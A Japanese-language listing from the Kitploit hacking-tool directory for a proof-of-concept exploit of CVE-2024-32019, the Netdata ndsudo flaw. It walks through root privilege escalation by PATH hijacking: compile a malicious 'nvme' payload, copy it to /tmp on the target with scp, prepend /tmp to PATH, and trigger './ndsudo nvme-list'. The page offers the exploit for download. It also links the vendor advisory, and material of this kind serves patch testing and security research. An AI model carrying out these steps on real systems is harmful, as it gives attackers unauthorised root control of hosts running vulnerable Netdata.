Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2024-32019-POC — netdata ndsudo脆弱性(CVE-2024-32019)のPoC | Kitploit
ツール/GitHubGitHub/azureadtrent/cve-2024-32019-poc
特権昇格脆弱性分析エクスプロイトペネトレーションテストバイナリエクスプロイト
GitHubazureadtrent/cve-2024-32019-poc

CVE-2024-32019-POC

netdata ndsudo脆弱性(CVE-2024-32019)のPoC

リポジトリを見る
2121年前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

ndsudo を介した権限昇格 (Netdata ローカルエクスプロイト)

このPOCは、Netdataにバンドルされている脆弱な ndsudo ユーティリティを悪用して、ローカル権限をrootに昇格させるために使用されます。このエクスプロイトは、ユーザーの PATH に悪意のあるバイナリを注入し、それが信頼されたコマンド (nvme) を装って ndsudo によってroot権限で実行される仕組みです。


前提条件と仮定

  • ターゲットシステム上でローカルシェルアクセスがあること。

  • 次のコマンドを実行できるが、「not found」または類似のエラーで失敗すること:

    root@kitploit:~
    ./ndsudo nvme-list
    

1. 悪意のあるペイロードをコンパイルする

攻撃者マシン (またはコンパイラがある場合は脆弱なシステム) で、バイナリをコンパイルします (例えば、リポジトリ内の poc.c ファイルから):

root@kitploit:~
gcc poc.c -o nvme

このバイナリは、rootシェルを起動したり、root権限で任意のコマンドを実行したりするように作成される必要があります。


2. ペイロードをターゲットシステムに転送する

コンパイルした nvme バイナリを、ユーザーが書き込み可能なディレクトリ (例えば /tmp) に移動またはアップロードします:

root@kitploit:~
scp nvme user@target:/tmp/
# または利用可能なファイルアップロード方法を使用

3. ペイロードを実行用に準備する

ターゲットシステム上で、バイナリが実行可能であることを確認し、そのディレクトリを PATH の先頭に追加します:

root@kitploit:~
chmod +x /tmp/nvme
export PATH=/tmp:$PATH

これにより、ndsudo が正規の nvme ではなく、あなたの悪意のある nvme を解決して実行するようになります。


4. ndsudo をトリガーしてペイロードを実行する

脆弱なコマンドを実行して ndsudo をトリガーします:

root@kitploit:~
./ndsudo nvme-list

リソース

  • Netdata Github Advisory: https://github.com/netdata/netdata/security/advisories/GHSA-pmhq-4cxq-wj93
ツールをダウンロード